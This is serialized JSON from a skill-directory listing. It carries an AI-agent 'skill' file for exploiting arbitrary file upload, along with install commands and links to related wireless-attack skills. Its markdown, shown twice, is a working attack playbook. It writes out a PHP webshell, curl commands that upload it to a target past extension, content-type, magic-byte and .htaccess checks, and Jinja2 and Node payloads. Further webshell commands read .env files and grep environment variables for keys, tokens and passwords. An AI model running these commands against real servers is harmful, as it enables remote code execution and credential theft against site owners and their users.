[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7987183NGPF5DVGEM22DNSF":3,"skill-same:01M7987183NGPF5DVGEM22DNSF":51},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":33,"repositoryHtmlUrl":34,"repositoryHomepageUrl":6,"ownerHtmlUrl":35,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":36,"install":37,"resources":50},"01M7987183NGPF5DVGEM22DNSF","file-upload",null,"Arbitrary file upload exploitation — webshell upload, extension bypass, content-type manipulation, and upload-to-RCE techniques.","7ShIkI3\u002FDecepticon-x-DarkTriad","7ShIkI3","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F78133376?v=4","01M797CTK5AHH2161YVG93NJ3B","Raphael Pascaud","01M797CTKRQS64R01J7E6TJSEM",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Ffile-upload\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: file-upload\ndescription: \"Arbitrary file upload exploitation — webshell upload, extension bypass, content-type manipulation, and upload-to-RCE techniques.\"\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: execution\n  when_to_use: \"file upload, webshell, arbitrary upload, extension bypass, upload rce, shell upload, image upload bypass\"\n  tags: web-application, file-upload, webshell, rce\n  mitre_attack: T1190, T1505.003\n---\n\n# Arbitrary File Upload Exploitation\n\nExploits insufficient file upload validation to upload executable files (webshells) achieving RCE on the target server. Common in image\u002Fdocument upload features, profile picture handlers, and file import endpoints.\n\n## Discovery\n```bash\n# Find upload endpoints\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002F' | grep -i 'upload\\|file\\|enctype=\"multipart\\|type=\"file\"'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fupload'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fupload'\n\n# Check for upload directory listing\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fuploads\u002F'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fstatic\u002F'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Ffiles\u002F'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fmedia\u002F'\n```\n\n## PHP Webshell Upload\n```bash\n# Create webshell\necho '\u003C?php system($_GET[\"cmd\"]); ?>' > shell.php\n\n# Standard upload\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fupload' -F 'file=@shell.php'\n\n# After upload — find and execute\nfor dir in uploads static files media images upload; do\n  resp=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \"http:\u002F\u002F\u003CTARGET>\u002F$dir\u002Fshell.php?cmd=id\")\n  [ \"$resp\" = \"200\" ] && echo \"Found at \u002F$dir\u002Fshell.php\" && curl -s \"http:\u002F\u002F\u003CTARGET>\u002F$dir\u002Fshell.php?cmd=cat+\u002F.env\"\ndone\n```\n\n## Extension Bypass Techniques\n```bash\n# Alternative PHP extensions\nfor ext in php php3 php4 php5 phtml pht phps php7 phar; do\n  echo \"\u003C?php system(\\$_GET['cmd']); ?>\" > \"shell.$ext\"\n  curl -s 'http:\u002F\u002F\u003CTARGET>\u002Fupload' -F \"file=@shell.$ext\" && echo \" -> $ext uploaded\"\ndone\n\n# Double extension (Apache may parse .php in the middle)\necho '\u003C?php system($_GET[\"cmd\"]); ?>' > shell.php.jpg\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fupload' -F 'file=@shell.php.jpg'\n\n# Trailing characters\necho '\u003C?php system($_GET[\"cmd\"]); ?>' > 'shell.php.'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fupload' -F 'file=@shell.php.'\necho '\u003C?php system($_GET[\"cmd\"]); ?>' > 'shell.php;.jpg'\n\n# Case variation\necho '\u003C?php system($_GET[\"cmd\"]); ?>' > shell.pHp\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fupload' -F 'file=@shell.pHp'\n\n# Null byte in filename (older systems)\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fupload' -F 'file=@shell.php;filename=\"shell.php%00.jpg\"'\n```\n\n## Content-Type Bypass\n```bash\n# Override Content-Type header to claim image\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fupload' -F 'file=@shell.php;type=image\u002Fjpeg'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fupload' -F 'file=@shell.php;type=image\u002Fpng'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fupload' -F 'file=@shell.php;type=image\u002Fgif'\n\n# Add image magic bytes + PHP\nprintf '\\x89PNG\\r\\n\\x1a\\n\u003C?php system($_GET[\"cmd\"]); ?>' > shell.php\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fupload' -F 'file=@shell.php;type=image\u002Fpng'\n\n# GIF magic bytes\nprintf 'GIF89a\u003C?php system($_GET[\"cmd\"]); ?>' > shell.gif.php\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fupload' -F 'file=@shell.gif.php'\n```\n\n## .htaccess Upload (Apache)\n```bash\n# Upload .htaccess to make .jpg executable as PHP\necho 'AddType application\u002Fx-httpd-php .jpg' > .htaccess\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fupload' -F 'file=@.htaccess'\n\n# Then upload PHP code as .jpg\necho '\u003C?php system($_GET[\"cmd\"]); ?>' > shell.jpg\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fupload' -F 'file=@shell.jpg'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fuploads\u002Fshell.jpg?cmd=cat+\u002F.env'\n```\n\n## Python\u002FNode Targets\n```bash\n# Python — if Jinja2\u002FFlask evaluates uploaded templates\necho '{{ config.__class__.__init__.__globals__[\"os\"].popen(\"cat \u002F.env\").read() }}' > shell.html\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fupload' -F 'file=@shell.html'\n\n# Node — if uploaded files are required\u002Fimported\necho 'require(\"child_process\").execSync(\"cat \u002F.env\")' > shell.js\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fupload' -F 'file=@shell.js'\n```\n\n## Post-Upload Credential\u002FSecret Extraction\n```bash\n# After successful upload, execute commands to locate sensitive files\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fuploads\u002Fshell.php?cmd=cat+\u002F.env'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fuploads\u002Fshell.php?cmd=ls+-la+\u002F'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fuploads\u002Fshell.php?cmd=find+\u002F+-type+f+\\(-name+\"*.env\"+-o+-name+\"config*\"+-o+-name+\"secret*\"+-o+-name+\"cred*\"\\)+2>\u002Fdev\u002Fnull'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fuploads\u002Fshell.php?cmd=printenv+|+grep+-iE+\"secret|key|token|pass|cred\"'\n```\n","# Arbitrary File Upload Exploitation\n\nExploits insufficient file upload validation to upload executable files (webshells) achieving RCE on the target server. Common in image\u002Fdocument upload features, profile picture handlers, and file import endpoints.\n\n## Discovery\n```bash\n# Find upload endpoints\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002F' | grep -i 'upload\\|file\\|enctype=\"multipart\\|type=\"file\"'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fupload'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fupload'\n\n# Check for upload directory listing\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fuploads\u002F'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fstatic\u002F'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Ffiles\u002F'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fmedia\u002F'\n```\n\n## PHP Webshell Upload\n```bash\n# Create webshell\necho '\u003C?php system($_GET[\"cmd\"]); ?>' > shell.php\n\n# Standard upload\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fupload' -F 'file=@shell.php'\n\n# After upload — find and execute\nfor dir in uploads static files media images upload; do\n  resp=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \"http:\u002F\u002F\u003CTARGET>\u002F$dir\u002Fshell.php?cmd=id\")\n  [ \"$resp\" = \"200\" ] && echo \"Found at \u002F$dir\u002Fshell.php\" && curl -s \"http:\u002F\u002F\u003CTARGET>\u002F$dir\u002Fshell.php?cmd=cat+\u002F.env\"\ndone\n```\n\n## Extension Bypass Techniques\n```bash\n# Alternative PHP extensions\nfor ext in php php3 php4 php5 phtml pht phps php7 phar; do\n  echo \"\u003C?php system(\\$_GET['cmd']); ?>\" > \"shell.$ext\"\n  curl -s 'http:\u002F\u002F\u003CTARGET>\u002Fupload' -F \"file=@shell.$ext\" && echo \" -> $ext uploaded\"\ndone\n\n# Double extension (Apache may parse .php in the middle)\necho '\u003C?php system($_GET[\"cmd\"]); ?>' > shell.php.jpg\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fupload' -F 'file=@shell.php.jpg'\n\n# Trailing characters\necho '\u003C?php system($_GET[\"cmd\"]); ?>' > 'shell.php.'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fupload' -F 'file=@shell.php.'\necho '\u003C?php system($_GET[\"cmd\"]); ?>' > 'shell.php;.jpg'\n\n# Case variation\necho '\u003C?php system($_GET[\"cmd\"]); ?>' > shell.pHp\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fupload' -F 'file=@shell.pHp'\n\n# Null byte in filename (older systems)\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fupload' -F 'file=@shell.php;filename=\"shell.php%00.jpg\"'\n```\n\n## Content-Type Bypass\n```bash\n# Override Content-Type header to claim image\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fupload' -F 'file=@shell.php;type=image\u002Fjpeg'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fupload' -F 'file=@shell.php;type=image\u002Fpng'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fupload' -F 'file=@shell.php;type=image\u002Fgif'\n\n# Add image magic bytes + PHP\nprintf '\\x89PNG\\r\\n\\x1a\\n\u003C?php system($_GET[\"cmd\"]); ?>' > shell.php\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fupload' -F 'file=@shell.php;type=image\u002Fpng'\n\n# GIF magic bytes\nprintf 'GIF89a\u003C?php system($_GET[\"cmd\"]); ?>' > shell.gif.php\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fupload' -F 'file=@shell.gif.php'\n```\n\n## .htaccess Upload (Apache)\n```bash\n# Upload .htaccess to make .jpg executable as PHP\necho 'AddType application\u002Fx-httpd-php .jpg' > .htaccess\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fupload' -F 'file=@.htaccess'\n\n# Then upload PHP code as .jpg\necho '\u003C?php system($_GET[\"cmd\"]); ?>' > shell.jpg\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fupload' -F 'file=@shell.jpg'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fuploads\u002Fshell.jpg?cmd=cat+\u002F.env'\n```\n\n## Python\u002FNode Targets\n```bash\n# Python — if Jinja2\u002FFlask evaluates uploaded templates\necho '{{ config.__class__.__init__.__globals__[\"os\"].popen(\"cat \u002F.env\").read() }}' > shell.html\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fupload' -F 'file=@shell.html'\n\n# Node — if uploaded files are required\u002Fimported\necho 'require(\"child_process\").execSync(\"cat \u002F.env\")' > shell.js\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fupload' -F 'file=@shell.js'\n```\n\n## Post-Upload Credential\u002FSecret Extraction\n```bash\n# After successful upload, execute commands to locate sensitive files\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fuploads\u002Fshell.php?cmd=cat+\u002F.env'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fuploads\u002Fshell.php?cmd=ls+-la+\u002F'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fuploads\u002Fshell.php?cmd=find+\u002F+-type+f+\\(-name+\"*.env\"+-o+-name+\"config*\"+-o+-name+\"secret*\"+-o+-name+\"cred*\"\\)+2>\u002Fdev\u002Fnull'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fuploads\u002Fshell.php?cmd=printenv+|+grep+-iE+\"secret|key|token|pass|cred\"'\n```\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"web-application, file-upload, webshell, rce","execution","file upload, webshell, arbitrary upload, extension bypass, upload rce, shell upload, image upload bypass","T1190, T1505.003","Bash Read Write","main","42b918525fb79065e730da3da997bffb33fcd414","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Ffile-upload",0,"https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad","https:\u002F\u002Fgithub.com\u002F7ShIkI3","2026-07-22 19:02:27",{"source":8,"skillName":5,"commands":38,"prompt":48,"zipAvailable":49},[39,42,45],{"tool":40,"command":41},"npx","npx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill file-upload",{"tool":43,"command":44},"bunx","bunx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill file-upload",{"tool":46,"command":47},"pnpm","pnpm dlx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill file-upload","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Ffile-upload\u002FSKILL.md",true,[],[52,59,66,73,80,87],{"skillNo":53,"name":54,"nameZh":6,"description":55,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":56,"categories":57,"keywords":58,"publishedAt":19},"01M798TNHEBA4Y67TJJ7W0KBDD","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":60,"name":61,"nameZh":6,"description":62,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":63,"categories":64,"keywords":65,"publishedAt":19},"01M798TH79VR8XM7AAMG0ZKSXX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":67,"name":68,"nameZh":6,"description":69,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":70,"categories":71,"keywords":72,"publishedAt":19},"01M798TD0E10ZHQN5X362M4HG9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":74,"name":75,"nameZh":6,"description":76,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":77,"categories":78,"keywords":79,"publishedAt":19},"01M798T7HFR3NB9WJTK1FESVF9","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":81,"name":82,"nameZh":6,"description":83,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":84,"categories":85,"keywords":86,"publishedAt":19},"01M798T38B4SV0T87VQK56KPHC","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":88,"name":89,"nameZh":6,"description":90,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":19},"01M798SXTNF0RP1DXKQEWFVQ9H","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]